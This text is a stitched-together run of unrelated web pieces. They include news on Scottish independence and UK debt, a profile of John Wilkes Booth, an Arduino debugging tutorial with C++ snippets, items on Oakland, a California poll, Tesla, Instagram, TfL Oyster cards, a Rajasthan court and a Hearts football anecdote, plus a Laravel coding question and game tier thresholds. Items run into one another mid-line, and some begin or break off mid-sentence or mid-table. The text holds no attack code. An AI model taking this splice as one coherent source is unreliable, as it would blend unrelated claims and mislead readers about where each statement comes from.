The mere possibility of it has been one of the factors pushing yields on gilts higher since the autumn, though the improving UK economic outlook and the move to withdraw some stimulus by the US Federal Reserve, so-called tapering, have played a bigger role in that. It is probably too soon to know if this has done the trick but benchmark 10-year gilt yields at least went in the right direction for the Treasury on Monday morning, falling to a one-month low, and held more or less steady since.
Two questions come next: What is a fair division of the costs on the debt stock between the UK and an independent Scotland? What prospects would an independent Scotland have of using debt markets to raise future funds? The two are intertwined.
Walker notes that Scotland has not got away debt free and would still have to pay servicing costs on some of the UK's debt and redemption when the debt matures.
The Treasury insists "an independent Scottish state would become responsible for a fair and proportionate share of the UK's current liabilities."
As for calculating, or agreeing how much, Walker thinks it is simplified by the fact the Scottish population as a share of the total UK population at around 8.5% is broadly similar to the share it makes up of UK GDP (the Office for National Statistics puts that at 8.2% in this December release.)
But there is still room for disagreement, most likely over the contribution from Scotland's North Sea oil and gas revenues in recent decades. In its white paper last year the Scottish government set out its proposals for dividing the existing UK public debt and suggested a calculation on a "historic" basis, attributing North Sea tax revenues to Scotland rather than the UK as a whole.
Richard Holt, regional economist at the thinktank Capital Economics foresees tense talks over that "fair and proportionate share" of the debt cited by the Treasury.
It is a negotiation in which neither party would have the option of walking away, he notes. The UK would need the costs covered and the new Scottish government would have its future finances to think about.
"If the Scottish government does do anything that appears to involve walking away then it would have serious implications for its credit rating," he said.
That credit rating is crucial because although the new Scottish state could raise taxes it would most likely have to issue its own government bonds to cover what it owes the UK.
As a government bond issuer, the country would be in most investors' eyes a new one. Credit ratings agencies and potential bond buyers would want assurances that the new country can pay its debts.
The UK Treasury would be watching the closest. It would hold the biggest IOU from Scotland at the outset and it seems that however the debt was divided up, the remaining part of the UK would end up in a worse position than it already is.
Angus Armstrong at the thinktank the National Institute of Economic and Social Research said that with Scottish independence the UK's debt to GDP ratio would rise. This week's bond announcement only confirmed the connection that would continue across the border.
"It means the rest of the UK's indebtedness would be partially dependent on the creditworthiness of what would become a foreign country. It's hard to imagine this sort of rise in the UK's debt to GDP ratio would not attract the attention of the credit ratings agencies," said Armstrong.Who Was John Wilkes Booth Before He Became Lincoln's Assassin?
Enlarge this image toggle caption Hulton Archive/Getty Hulton Archive/Getty
John Wilkes Booth was the man who pulled the trigger, capping off a coordinated plot to murder President Abraham Lincoln.
But historian Terry Alford, an expert on all things Booth, says that there's much more to Booth's life. His new biography, Fortune's Fool: The Life of John Wilkes Booth, delves deep into his life — before Booth went down in history as the man who assassinated a president.
Booth was born into a prominent family of actors. According to Alford, he had good looks and an exceptional acting range, playing both dark roles as bad guys and softer roles such as Romeo. By 1865, the 26-year-old was a headliner on the American stage. As Alford tells Morning Edition's Renee Montagne, Booth was the first actor known to have "had his clothes torn by fans."
"When he was coming out of a theater in Boston, the manager had to come back and tell people, 'Back up, let him out, just let him walk to his hotel.' "
Alford says it's interesting that, "over the years, as people felt free to talk about Booth, and while they shrank away from what he did, they didn't really shrink from him. They remembered things about him like courtesies and acts of heroism."
Like this example:
"One time onstage, he saved a young woman whose dress caught on fire," he says, "a young actress who had wandered too close to the gas footlights."
Booth was not a madman, according to Alford. In fact, he was politically motivated to assassinate Lincoln.
"John Wilkes Booth was one of those people who thought the best country in the history of the world was the United States as it existed before the Civil War," Alford says. "And then when Lincoln came along, he was changing that in fundamental ways."
"John Wilkes Booth was one of those people who thought the best country in the history of the world was the United States as it existed before the Civil War. And then when Lincoln came along, he was changing that in fundamental ways."
Those ideological differences include increasing the power of the federal government and emancipating the slaves, both things Booth was vehemently against. He was angered that the government instituted an income tax and the military draft, and that the government occasionally suspended habeas corpus, a legal protection against unlawful imprisonment. All these things, Alford says, agitated Booth.
"But Booth brought to that agitation an extremism, the passion almost of a fanatic," Alford says. "And it was very dangerous, as we find out."
Booth's opposition to Lincoln's policies persuaded him to fight with the Confederate army during the Civil War. But, according to Alford, his mother was a widow and had already lost four of her children. So she pleaded for him to stay clear of the war. Booth agreed.
"But he felt like a slacker," Alford says. "He even uses the word 'coward' to describe himself because, as an actor, he played a hero onstage but really wasn't one."
One of the people closest to Booth was his older sister, Asia Booth Clarke. After Lincoln's assassination in 1865, Asia and her family went into exile in England. There she wrote a secret memoir about her brother, but it wasn't published until 1938. Alford wrote the forward in the latest edition. In her memoir, Clarke recalls a time where a psychic predicted John Wilkes' Booth's untimely death.
History Revisiting The Night Abraham Lincoln Was Shot 150 Years Ago Revisiting The Night Abraham Lincoln Was Shot 150 Years Ago Listen · 7:25 7:25
"The old gypsy said [to him], 'You've got a bad hand; it's full of sorrow. Trouble plenty everywhere I look. I see you'll break hearts. You'll die young, and you will leave many to mourn you. You'll be rich, you'll be free but you're born under an unlucky star,' " Alford says. "And his sister said, 'Oh, don't let that worry you. These gypsies will just say anything for money.' And he laughed and said, 'That's right.' "
Alford adds that Booth would refer to the gypsy's predictions years later in conversations.
"The little fortune he wrote down grew tattered from folding and unfolding, as he would get it out and look at it and put it back," he says. "So thoughts like that preyed on his mind."
Alford says the assassination of President Lincoln – one of the most heinous acts in American history - shattered the Booth family.
"The brothers were actors," he says. "In other words, you've got to get out in front of thousands of strangers and dozens of towns and be public again. And this was exceptionally hard, because a lot of people did feel you are your brother's keeper. 'Why didn't you do something about this? What did you know? Why didn't you take care of it?' And, so it was extremely hard to be a Booth for a long, long time."
Update at 12:00 p.m. ET: We have changed the headline of this post, which originally said "John Wilkes Booth Was Not A Deranged Longer, Historian Says," and clarified in the text that Booth was not a lone gunman, but rather, a part of a group of conspirators."Embedded systems and microcontroller programs can be really hard to understand. Here are some techniques that can help.
An embedded system is a computer system with a dedicated function within a larger mechanical or electrical system …
– Wikipedia
Examples of embedded systems include everything from a fridge thermostat, to the airbag sensors in your car, to consumer electronics like a electronic keyboard for music. Programming such a system can be extra challenging compared to writing software for a general-purpose computer. The complicating factors may include:
Limited computing power, memory, storage or bandwidth
Need for low and deterministic response times is needed (soft or hard real-time)
Running on battery, within a constrained power budget
Need for high reliability without user intervention over long periods of time (months,years)
A malfunctioning system may cause material damage or harm people
Problem may require considerable domain-specific knowledge
But before all that, we typically need to come to terms with a more mundane and practical problem:
that it is usually very hard to understand what is going on with our program!
Why embedded systems are harder to debug
This problem if hard-to-understand software systems is not at all unique to embedded, it happens frequently also when developing for a PC or mobile device. But several aspects typically make the problem more severe.
It is often hard to stimulate the system with inputs automatically, as they are typically physical/external in nature
Inputs, outputs and internal state of the system may change faster than humans can observe in real-time
The environment of the system typically influences results, sometimes in unforseen ways
Low-level programming languages and techniques is still the norm
The target device does not have a UI or development tools
The connection to a system is often (or at best) a slow serial connection
To make working with the system more pleasant and productive, I have found two techniques very useful:
Recording sensor data from device, and then analyzing it ‘offline’ on the PC
Running the firmware logic on the PC, by abstracting away hardware dependencies
Case: Triggering MIDI with capacitive sensors
A friend of mine is building a electronic music instrument, a Hang-like thing with 9 pads. It uses capacitive touch sensors and sends MIDI notes over USB for triggering a sampler or synthesizer to make sound.
The firmware on the device was an Arduino sketch, using the CapacitiveSensor library to read the capacitance of the pads.
Summing up N consecutive samples gives basic filtering, and a note is triggered if the value exceedes a specified threshold TH.
The setup worked in principle, and in practice for some ways of hitting the drumpad. But it seemed impossible to find a combination of N and TH where the device would trigger correctly in all cases. If N was too high, then fast taps would be dropped/ignored. If N was low, it caused occational double triggering. If TH was too high, it would not trigger on single finger taps. If TH was too low, it would trigger when a palm was just hovering over the pad.
How to make it work reliably?
To solve a problem, you first have to understand it
Several hours had been spent tweaking the values, recompiling the sketch, uploading and hitting the pads a bit, listening if it did the right thing. This gave us some rough intuitions about things that worked and not, but generally our understanding of the situation was quite sparse. Which is understandable; there is only so much one can learn from observing a system in real-time from the outside with the naked eye/ear.
It seemed that how the pad was hit had an influence. Which is plausible, the surface area might influences how effective the capacitive coupling is.
What we needed to understant was: What is the input data in different scenarios?
First added logging to the Arduino sketch, sending the time between readings and the current sensor value (for one sensor).
const long beforeRead = millis(); const Input input = readInputs(); const long afterRead = millis(); Serial.print("("); Serial.print(afterRead-beforeRead); Serial.print(","); Serial.print(input.values[0].capacitance); Serial.println(")");
The stream showed that with N=70, the reading the sensors took a long time, over 40ms. This is unacceptable for a musical instrument, so it was clear that this value *had* to go down. Any issues caused would have to be fixed in some other way.
Then a small Python script to read the serial port, and writing the raw data to a file.
This allowed us to record the data from a whole scenario. For instance we recorded things like ‘tapping-3-times-quickly’ or ‘hovering-then-touching’, using the filename as a description for what the scenarios was, and directories to group sets of recordings.
Another Python script was then used for analysing the data, parsing the raw values and using matplotlib to plot it out.
Now we could finally *see* what was going on, over longer periods of time and compare different scenarios against eachother.
This case illustrated the crux of our problem. The red areas indicate where we are hovering *over* the pad with palm, but the sensed capacitance values are higher than when touching with a fingertip.
If the threshold is set too high (orange line) we miss the finger tap, and if it is too low *yellow) we will false trigger on a hovering palm.
Can we do better with an alternative detection algorithm? Maybe a high-pass filter to detect the changes at the edges, it may be possible be possible to identify both cases. Plugging in a high-pass filter in the Python analysis script and playing with the values seemed to support this.
But we cannot run Python for real-time processing. We need to be able to implement the filter in the Arduino firmware.
Exponential Moving Average filters
An Exponential Moving Average (EMA or EMWA) was selected as the basis of the filter. It has many desirable properties for use in a latency-sensitive application on a microcontroller: It only requires storing one number, is computationally simple, and is robust against variation in sampling time (jitter). And unlike a FIR filter, it does not introduces latency (apart from the time-constant of the filter itself). Here is a nice introduction for Arduino usage.
static int exponentialMovingAverage(const int value, const int previous, const float alpha) { return (alpha*value) + ((1-alpha)*previous); }... next.highfilter = exponentialMovingAverage(input.capacitance, previous.highfilter, appConfig.highpass); next.highpassed = input.capacitance - next.highfilter;...
What value should highpass have and how do we know if works correctly?
Host-based simulation
A regular Arduino sketch can generally only run on the target microcontroller. This is because the application logic is mixed with the hardware-dependent I/O libraries, in this case CapacitiveSensor and MidiUSB.
But Arduino is just C++. Nothing prevents us from separating out the application logic and making it hardware-independent so it can also execute on our host. The easiest method is to put the code into a.hpp, and then include that in our sketch and any host-only tools we have.
#include "./hangdrum.hpp"
This lets us use all the regular C++ tools and practices for testing and validating code, without needing access to the hardware. Automated unit- and integration-testing, fuzz-testing, mutation testing, dynamic analysis like Valgrind, using a continious integration services like Travis CI. In a project with custom hardware, it lets you develop most parts of the software before the hardware is finalized, potentially saving a lot of time.
I like to express the entire application logic of the firmware as a pure function which takes Input and current State, and returns the new State. This formulation lets us know exactly what may affect the system – no hidden dependencies or state.
State calculateState(const State &previous, const Input &input, const Config &config) { State next = previous; next.time = input.time; for (unsigned int i=0; i<N_PADS; i++) { next.pads[i] = calculateStatePad(previous.pads[i], input.values[i], config.pads[i], config); } calculateMidiMessages(next, config, next.messages); return next; }
Because all the inputs and outputs of the functions are plain-old-data, we can safely and meaningfully serialize and deserialize them.
To get better visibility into the internals of the system and help our understanding, we also store intermediate values:
PadState calculateStatePad(const PadState &previous, const PadInput input, const PadConfig &config, const Config &appConfig) {... next.raw = input.capacitance; next.highfilter = exponentialMovingAverage(input.capacitance, previous.highfilter, appConfig.highpass); next.highpassed = input.capacitance - next.highfilter; next.lowpassed = exponentialMovingAverage(next.highpassed, previous.lowpassed, appConfig.lowpass); next.value = next.lowpassed;... }
If we had used a dataflow system like MicroFlo, we would have gotten this introspectability for free.
Combining the recorded input data logs with this platform-independent application logic, we can now make a simulator for our firmware:
std::vector<hangdrum::Input> inputEvents = read_events(filename); std::vector<hangdrum::State> states; hangdrum::State state; for (auto &event : inputEvents) { state = hangdrum::calculateState(state, event, config); states.push_back(state); } write_flowtrace(trace_filename, trace);
To store the execution this I used a Flowtrace, a JSON-based format for tracing Flow-based-programming/dataflow system.
Because time is just data in our programming model (part of Input or State), we can run through hours of input scenarios in seconds.
I made another plotting tool, this time reading the flowtrace, visualizing all the steps in our signal processing pipeline, and the detected notes.
By going over a range of different input scenarios and seeing how different values perform, we get a decent confidence that the algorithm works. But does it actually run fast enough on the Arduino?
Profiling on device
The Atmel AVR chip on the Arduino Leonardo is an 8-bit processor without a floating point unit. So I was a bit worried about the exponential averaging filter using several expensive features: 16bit `int`, divisions and a multiplication with a float. Using a Arduino sketch to do some simple profiling showed that my worries were unfounded.
const long beforeCalculation = millis(); State next = state; for (int i=0; i<100; i++) { next = hangdrum::calculateState(state, input, config); } state = next; const long afterCalculation = millis(); Serial.print("calculating: "); Serial.println(afterCalculation-beforeCalculation);
The 100 iterations of the application logic executed it took 80 ms with both a high-pass and low-pass, or less than 1ms per execution. Since sensor readout is up to 10 ms, it dominates the time spent. So if we want lower latency, optimization efforts should be focused on sensor readout first. Only when sensor readout is down to around 1ms does it make sense to optimize the filtering.
Don’t forget the hardware
Testing the code with highpass-based in practice showed that yes, it did correctly detect tapping while supressing false triggers from a hovering palm over the sensor. Another benefit when using change detection a notes will trigger even if a finger is currently touching, and hitting the pad with another finger. With absolute value thresholding, the second finger tap is not detected.
However, we also found that by moving the sensor to the outside, the data quality increases a lot. In this case, even the simple absolute threshold code was able to correctly discriminate a hovering palm. The higher data quality may also enable other features like velocity or aftertouch.
In conclusion
Sensor-recording together with a separting hardware from application logic, and host-based simulation form powerful tools that help you better understand an embedded system. By visualizing the input data, the internal state and the outputs of the firmware, you can more easily see and understand the conditions which cause problems. The effects of changing the firmware can be quickly understood, as re-running the simulation suite on a wide range of inputs can be done in seconds. It can be implemented easily in C++ firmware, and any scripting language can be used for the data analysis.
The techniques here form a baseline level of tooling which can be extended in many ways.
If we had recorded a high-framerate video stream together with the input data, it would be easier to see how the input data corresponds to physical actions.
We could annotate the input data to indicate the correct locations of notes (expected output of system), and write an automated test against the output trace to check how well the firmware detects them. By using data-driven testing, we could generate test variations over different inputs and filter configuration. And then use machine learning techniques to help find the best values for the filters.
We could also create an end-to-end test covering the vast majority of the code by inject input sensor data in the on-device firmware over serial, and then verify that it produces the expected MIDI messages.OAKLAND (KCBS)— Oakland Mayor Libby Schaaf says the city would be willing to entertain First Fridays street arts festival’s requests for financial help, but the city is dealing with its own money problems.
Schaaf told KCBS the monthly series held on Telegraph Avenue has become an integral part of her city.
“It gets us in national news all the time and it really symbolizes that pop and vitality that is really just lighting up downtown Oakland and the Oakland story,” she said.
While it is popular, the festival is again facing money problems after losing its contract with the sponsor, KONO District (Koreatown’s community benefit district).
The city has spent thousands each month on police costs for the event and now there’s word that the event organizers could be asking them to pony up even more.
“The city is struggling itself this year. We would have to consider that request in the context of still, a funding gap to meet our basic services,” she said.
Even so, Schaaf said there’s still a lot of love for the event and the city would certainly consider their request for help. About half of the festival’s expenses are paid for by donations from those who attend.
Rain cancelled this month’s First Friday as well as December’s with the event’s reserves dropping to just $5,000.
In 2013, the First Fridays scaled back, under Mayor Jean Quan, after a fatal shooting marred the event.The latest poll from USC Dornsife and the Los Angeles Times would have you believe California voters give Gov. Jerry Brown and the Legislature their highest approval ratings in year — despite “soaring taxes, high unemployment, costly illegal immigration, escalating crime rates, substandard roads, record power and gas prices, underwater home values, and dismal schools.”
This is what happens when smart people like to be right and defend bad ideas.
A media conference call with USC Dornsife discussed the poll results.
The 1505 random registered voters queried by telephone say the California Dream is on the upswing, according to the poll results. This is the meme adopted by Brown’s clever public relations team; “California is back!” Brown proclaims.
However, neither Gov. Brown nor the poll address the rising poverty in California, or the dramatic increase in part-time and low wage jobs. An Oct. 2014 report by the Census Bureau showed that while more than 16 percent of Americans, live below the poverty line, the percentage is much higher in California, in which 23.4 percent of the population lives in poverty.
In many parts of the state, people are just happy to have any job, even i it is low-paying.
The Poll
The USC poll was broken down between White and Latino voters, 888 White Respondents (798 Unweighted) 361 Latino Respondents (509 Unweighted). According to poll experts, If the poll results have been “weighted,” the process is used to account for unequal probabilities of selection, and to adjust slightly the demographics in the sample. A poll could be manipulated unduly by weighting the numbers to produce a desired result.
Question: Generally speaking, do you think that things in California are going in the right direction, or do you feel things have gotten pretty seriously off on the wrong track?
“The results showed a significant turnaround for lawmakers, whose approval rating had plummeted to 18% in March 2010,” the Los Angeles Times wrote this week about the poll. “Voter satisfaction has ticked upward in the years since; the new findings mark the first time in years that more Californians approve than disapprove of the Legislature’s performance.”
The voters polled couldn’t possibly be residents in California’s Central Valley or the Northern state where electricity costs are sky high, and gas prices are again on the rise. Despite strict “green energy” mandates in wind and solar power, electricity rates in California are the highest in the nation. And it’s the poor and middle class in inland parts of the state who pay the bulk of these costs – not the wealthy coastal residents who love California’s beautiful climate.
The Central Valley and North State are also home to some of the poorest communities of California.
Lifestyle Beats Financial Security
“There is clearly angst among Californians, but more than that, people are willing to look past financial problems and prioritize everything else in the state offering in terms of lifestyle,” explained Drew Lieberman from polling firm Greenberg Quinlan Rosner Research, in a media conference call. Lieberman said 59 percent respondents said “the state is doing a good job offering a high quality of life.”
“Staying in the California beats going somewhere else – at the center is lifestyle,” Lieberman added.
Another question asked:
Now, thinking forward to the next generation of Californians, or about 25 years, do you think California will be a better place to live for our children’s generation, a worse place to live for our children’s generation, or do you think it will be about the same?
Answer: Total Better: 24 White, 31 Latino
Total Worse: 48 White, 34 Latino
“Brown’s marks were even higher, with 64% of voters approving of his job performance, while 27% disapproved,” the LA Times said. “That’s the highest approval rating for the governor since 2011; voter support of Brown has steadily climbed during his third and, now, fourth gubernatorial term.”
Mike Madrid, a former political director for the California Republican Party expert on Latino voting trends, had a slightly different take. “It’s split between two Californias,” explained Madrid. “The most optimistic were wealthier, whiter, older, and coastal regions. They were also the most pessimistic about what they state would look like in 25 years.”
Also optimistic, according to Madrid, were “younger, poorer, browner, as a function of age.”
“People love the weather, art, and quality of life, but will people be able to afford to pay for that?” Madrid asked.
A California reality
“Coastal greens, progressive Bay Area gays, liberal urban elites, and hip dot-com workers will probably not soon flee the temperate, scenic corridor from Berkeley to San Diego,” said Victor Davis Hansen, an historian at the Hoover Institution at Stanford University, and resident of the Central Valley, in a National Review column. “For at least a while longer, they will be wealthy and confident enough to afford the living costs that high taxes and myriads of regulations ensure. Yet for the strapped middle classes in the interior of the Los Angeles basin and the Central Valley, there is a perfect storm raging. They can ill afford the soaring taxes, high unemployment, costly illegal immigration, escalating crime rates, substandard roads, record power and gas prices, underwater home values, and dismal schools.”
Not one member of the media on the conference call asked a question about the poll or results — perhaps because the invitation to participate in the conference call was issued only a couple of hours prior.
As I said to a colleague after the media conference call concluded, “my BS meter is sounding alarms right now.”
Here is the link to the poll information, data and methodology.Tesla is set to announce a major new product this Thursday, but we may already know exactly what the company has planned. CEO Elon Musk already hinted that the automaker could soon offer home battery packs, and a new report claims to confirm those rumors.
According to The Guardian, Tesla is ready to unveil a battery designed to power your entire home. You’ll be able to charge the new product overnight and use it during the day, or power it directly with renewable energy sources like wind or solar power. Tesla’s home battery could also be extremely useful during a power outage, assuming it’s charged ahead of time.
Musk already provides the same service on a smaller scale through SolarCity, a separate company he owns which serves around 300 people. Tesla is expected to offer its batteries through a similar rental scheme, which includes an initial $1,500 fee followed by payments of $15 per month for 10 years. Each battery actually costs roughly $13,000, so a rental system makes more sense.
Assuming Tesla offers the same basic deal on a much larger scale, it could provide thousands of home batteries this year. We won’t know for sure until later this week, but hopefully it won’t be too long before the company’s new product gets an official launch.A girl is concerned that her boyfriend may cheat on her, not that he is cheating on her just that he could theoretically cheat on her. Instead of expressing her concerns to him in an adult conversation, she agrees to go on the reality TV show ‘To Catch A Cheater.’ With the help of a few actors she tests his loyalty with a female porn star.
Her boyfriend stays true, despite the blonde’s best efforts. She chases him down trying to grab his ass, and although he does accept her number, he does not accept her offer to see the goods. The girlfriend is a little upset he took the number, but she decides not to break up with him. Unfortunately he doesn’t feel the same way after learning about the ruse and breaks up with her on the spot.I'm trying to fetch covers of the books that belongs to an author. So far, so good. But it generates a separate query for each book and takes 2 seconds to load a page, I think I'm doing something wrong.
I use eager loading with my comments table (a comment belongs to a user), but since I use polymorphic relations with images table (a image can belong to different kind of other tables, such as user, thing, or group, so I can't use foreign keys in images table since it's not a right convention), I couldn't find a way to achieve the same thing this time.
Image Model
namespace App\Models; use Illuminate\Database\Eloquent\Model; class Image extends Model { public function imageable() { return $this->morphTo(); } }
Person Model (Author)
namespace App\Models; use Illuminate\Database\Eloquent\Model; class Person extends Model { public function books() { return $this->belongsToMany('\App\Models\Thing', 'person_thing'); }
Thing Model (Books)
namespace App\Models; use Illuminate\Database\Eloquent\Model; class Thing extends Model { public function cover() { return $this->morphMany('\App\Models\Image', 'imageable'); } }
Controller
$findBooks = Person::with(array('books' => function($query) { $query->groupBy('original_name'); }))->find(52957); $allbooks = $findBooks->books; return view('frontend.index')->with('allbooks', $allbooks) }
Current View
@foreach($allbooks as $allBooks) @foreach($allBooks->cover as $value) <img class="hund" src="{{$value->link}}" alt=""> @endforeach @endforeach
Image:GOP legislator frets over 28 days without insurance -- but what about 30 million he'd leave uninsured?
By Ezra Klein
It's worth dwelling for a moment on the reaction of Rep. Andy Harris, an incoming legislator who staunchly opposes the new health-care law and ran promising its repeal, to news that he'd had to wait a month for his government-funded health-care benefits to kick in:
Republican Andy Harris, an anesthesiologist who defeated freshman Democrat Frank Kratovil on Maryland’s Eastern Shore, reacted incredulously when informed that federal law mandated that his government-subsidized health-care policy would take effect Feb. 1 – 28 days after his Jan. 3rd swearing-in. “He stood up and asked the two ladies who were answering questions why it had to take so long, what he would do without 28 days of health care,” said a congressional staffer who saw the exchange.... “Harris then asked if he could purchase insurance from the government to cover the gap,” added the aide.
The point isn't that it's hypocritical to oppose health-care subsidies for poorer people or an individual mandate while simultaneously wanting every benefit your federal job gives you. Those positions can coexist. It's Harris's fear at being uninsured. But whatever else you think of the health-care law, it really does keep people from being uninsured. Yesterday, Aaron Carroll pulled together a graph looking at the number of uninsured under the status quo, the GOP's alternative health-care plan, and the Affordable Care Act. Harris presumably supports one of the first two options. But that means he's leaving a lot of people to wonder what to do without health care -- and for a lot longer than 28 days:The Combat Update on August 29th marks the start of Preseason 6! Read on for a recap of Preseason 5, a look at what’s new in Preseason 6, and the rewards you can earn for Solos, Duos, and Fives!
Preseason 5 Wrap-Up
Preseason 5 introduced the Master tier, which was meant to smooth out the distribution of players between Diamond and Royalty. At a glance, here’s how Preseason 5 wound up:
It’s pretty apparent we missed the mark a bit on Master tier, so Preseason 6 scoring has been adjusted accordingly to even out the curve.
In addition, we definitely heard your feedback on Royalty feeling like it was too easy to achieve (especially in Duos and Fives), so we’ve adjusted the barrier to entry this Preseason – more on the new tier thresholds below!
What’s New in Preseason 6
Division calculations, kill scoring, and placement scoring will all be the same in Preseason 6 as they were in Preseason 5. If you’d like to review those details, visit the Preseason 5 article here!
Tier Thresholds
As mentioned above, we’ve adjusted tier thresholds in Preseason 6 not only to flatten out the curve between Diamond, Master, and Royalty, but also to address that Royalty seemed too easy to achieve. Here’s what you’ll need in order to achieve each tier in Preseason 6:
Tier Solo Score Threshold Duos Score Threshold Fives Score Threshold Bronze 1 1 1 Silver 350,000 400,000 450,000 Gold 600,000 750,000 750,000 Platinum 750,000 900,000 1,000,000 Diamond 1,200,000 1,400,000 1,750,000 Master 1,750,000 1,800,000 1 |
their cash.
The party’s Caroline Pidgeon said: “When TfL’s cash pile is growing by more than £2 million a month I simply do not accept they are doing everything they reasonably can to allow the public to claim back their own money.
“TfL is never shy in using publicity except, it seems, when that involves telling the public how they can get back cash left on dormant Oyster cards.”
The £70 million rise over two years suggests many Oyster users switched to contactless but failed to get their money back from the cards, classed as dormant if left unused for a year.
There has also been a growth in the number of tourists in London, some of whom keep the cards as souvenirs.
TfL said some of the dormant Oyster cards were held by occasional visitors to the capital and used infrequently.
It said the introduction of contactless payments reduced the need to buy an Oyster card for occasional forays to the city, adding that many Londoners also choose to keep a spare card for emergencies or to lend to visitors.
A £3 refundable deposit was required from March 2009, six years after the introduction of Oyster. The charge rose to £5 in 2011. Latest figures showed that 56.5 million Oyster cards have been issued, with a current credit of £211 million at an average of £3.74 per card and total deposits of £165 million.
Up to 16 million cards have been cancelled since being introduced in 2003, though TfL could not say how much money has been refunded as a result.
Mayor Boris Johnson wrote to the Lib-Dems: “TfL regularly sends email alerts to registered customers and will continue to remind customers about their options on unused Oyster cards.
“It is researching and designing a new poster campaign that will appear on the network later this year and will further advise customers of the benefits of returning unwanted cards.”
TfL’s director of customer experience Shashi Verma said: “Credit on Oyster cards does not expire and customers can get refunds when they wish. These can be obtained from any Tube station ticket machine or by contacting customer services on 0343 222 1234.”
Passengers travelling between St Pancras and Stratford International stations will be able to use contactless and Oyster pay-as-you-go on Southeastern’s high-speed services from today.If you’re looking at your Instagram today, you might notice something has changed: older posts from friends and other accounts you care about are now appearing above those that were shared more recently. Yes, the new Instagram algorithm that rearranges the order of posts to show you the “best” posts first is now going live.
We already knew that the company was planning to reorder our feeds.
In March, Instagram announced plans to move away from showing posts in strict reverse chronological order, and instead boost those based on the “likelihood you’ll be interested in the content, your relationship with the person posting, and the timeliness of the post,” as it explained at the time.
If you think that sounds a lot like parent company Facebook’s News Feed algorithm, you’d be right. As Facebook came to understand long ago, the posts people want to see aren’t necessarily those that are the newest. They’re those that matter to you, personally.
But since most of us aren’t on our phones 24/7 – hey, even the busiest people sleep for a few hours per night! – we tend to miss posts from our favorite people. This is especially true if you’re trying to keep up with friends in other time zones.
As Instagram says in its brief announcement published on Thursday, on average, people miss 70 percent of their feeds. And as Instagram has continued to grow and expand – the company now reports over 400 million monthly users – the number of photos and videos on its service have increased as well. That’s why it’s making this change.
Naturally, the original announcement from earlier this year caused a lot of concern among professional Instagrammers and brands. They were worried that this switch would mean their followers wouldn’t see their posts as often, and begged users to turn on notifications.
Their concerns may be justified – after all, if brands are not posting content that users engage with, their posts could be buried further down in users’ feeds as of now.
That change could also fuel Instagram’s advertising efforts, of course.
However, earlier this week, Instagram began rolling out new tools for businesses that will help them address that problem. And just in time.
With a new in-app analytics system called “Insights,” brands can better understand the demographics of their audience, including where they are, when they tend to engage, what posts perform well, and more. If the brand sees one post is doing well, they can transform it into an Instagram ad with just a few taps in the app, too.
These new tools are arriving in the “coming months” for businesses in the U.S., Australia and New Zealand, and will reach the rest of the world by year-end.
The new Instagram algorithm for users is now going live – or, at least, if you aren’t seeing it yet, you will very soon, according to the blog post. How soon? According to an Instagram spokesperson, the rollout will reach the entire user base in the month ahead.Increase punishment for cow slaughter to life term, Rajasthan High Court recommends
Highlights Make cow national animal, Rajasthan High Court recommends Court observation during judgement on petition related to cow shelter Increase punishment for cow slaughter to life term, judge recommended
A judge of the Rajasthan High Court today recommended that the cow be declared the national animal of India and also that punishment in the state for cow slaughter be increased from the current 10 years' imprisonment to a life term.Judge Mahesh Chandra Sharma said Rajasthan's most senior bureaucrat, the Chief Secretary, must coordinate with the Centre on his recommendation. "Nepal is a Hindu nation and has declared the cow as its national animal...It is expected from the state government that they should take action to get a legal entity for the cow in this country," said Justice Sharma, who retires today.The judge was hearing a compliance report on the management of a cow shelter near state capital Jaipur, when he made the observations. He told NDTV that his 20-point recommendations in court today were "the voice of my soul," describing himself as "a devotee of Lord Shiv who revers the cow."Even the petitioner in the original cow shelter case Poonam Chand Bhandari was taken aback, saying his plea had not included this. Judgement in his case on the mismanagement of the cow shelter was given by Justice Sharma four years ago."We will study the recommendations and see legally what is implementable. These are not binding of course, but they are to be taken seriously," said Additional Advocate General GS Gill who attended the compliance meeting in court today on behalf of the state government.Justice Sharma said his recommendations in court today were not linked to the beef debate raging across the country and he refused to comment on the Madras High Court putting on hold on Tuesday the Centre's new restrictions on sale and slaughter of cattle.There have been protests in Tamil Nadu and several other states, with protesters saying the rules violate their right to eat food of their choice. Governments in states like West Bengal and Kerala have refused to implement the new rules, accusing the Centre of infringing on states' powers to frame their own laws on animal slaughter.The Centre has used animal cruelty rules, which can be enforced nationally, to order that animal markets will only be able to trade cattle for agricultural purposes such as ploughing and dairy production. It said cattle for slaughter will have to be bought from farmers directly in a move that hits meat traders, who have said they plan to move court.Critics say the ban will embolden cow vigilantes at a time when they have taken to frequent attacks on slaughterhouses and cattle traders.In Rajasthan, where the BJP is in power. Chief Minister Vasundhara Raje stressed yesterday that firm action will be taken against those behind violent crimes, including cow vigilantes. "The law of the land prevails in Rajasthan, and the government will ensure the culprits are brought to book," she said. In April, "gau rakshaks" or cow vigilantes attacked a 55-year-old cattle trader, Pehlu Khan in Alwar and four others. Pehlu Khan died, his companions were injured.• ‘Romanov approached me and told me he wants to play in the game’ • ‘I refused... He said to me: “Fine, but you will not be the coach for long”’
Anatoly Korobochka has claimed that he was sacked from his position as joint manager of Hearts after he refused to play the club’s owner, Vladimir Romanov, in a friendly against Barcelona.
Korobochka, a former midfielder who played for CSKA Moscow, joined the club as the director of football in the summer of 2006. However, in the absence of Valdas Ivanauskas, who the club said was “away on football duty”, Romanov appointed Korobochka as manager to the Edinburgh club in March 2007 alongside Stephen Frail, despite the fact that Korobochka spoke little or no English at the time.
During his first summer in charge, Hearts played a friendly at Murrayfield against the Catalan club, whose squad featured such players as Ronaldinho, Samuel Eto’o, Thierry Henry, Yaya Touré, Andrés Iniesta and Xavi; Lionel Messi had yet to return to training following Copa América commitments.
Scottish Premiership 2015-16 fixtures: Celtic kick off against Ross County Read more
“We played Barcelona in a friendly match and there were almost 60,000 fans there,” claimed Korobochka according to the Edinburgh Evening News. “Ronaldinho was at his peak and [Barcelona] were terrific.
“Before the game, Romanov approached me and told me he wants to play in the game. He wanted me to pick him. He wasn’t joking. I refused and told him he had done no training and therefore he couldn’t play. He said to me: ‘Fine, but you will not be the coach for long.’ He sacked me soon after.”
Hearts fans got their hopes up when Juho Makela equalised Ronaldinho’s early penalty but the Brazilian added another with his head before Henry set up Giovanni Dos Santos to score in the second half and ensure victory for their side.
Korobochka was sacked in January 2008 and returned to his role of director of football before leaving the club “pursue other football interests abroad” in July 2009.Hello Hello!
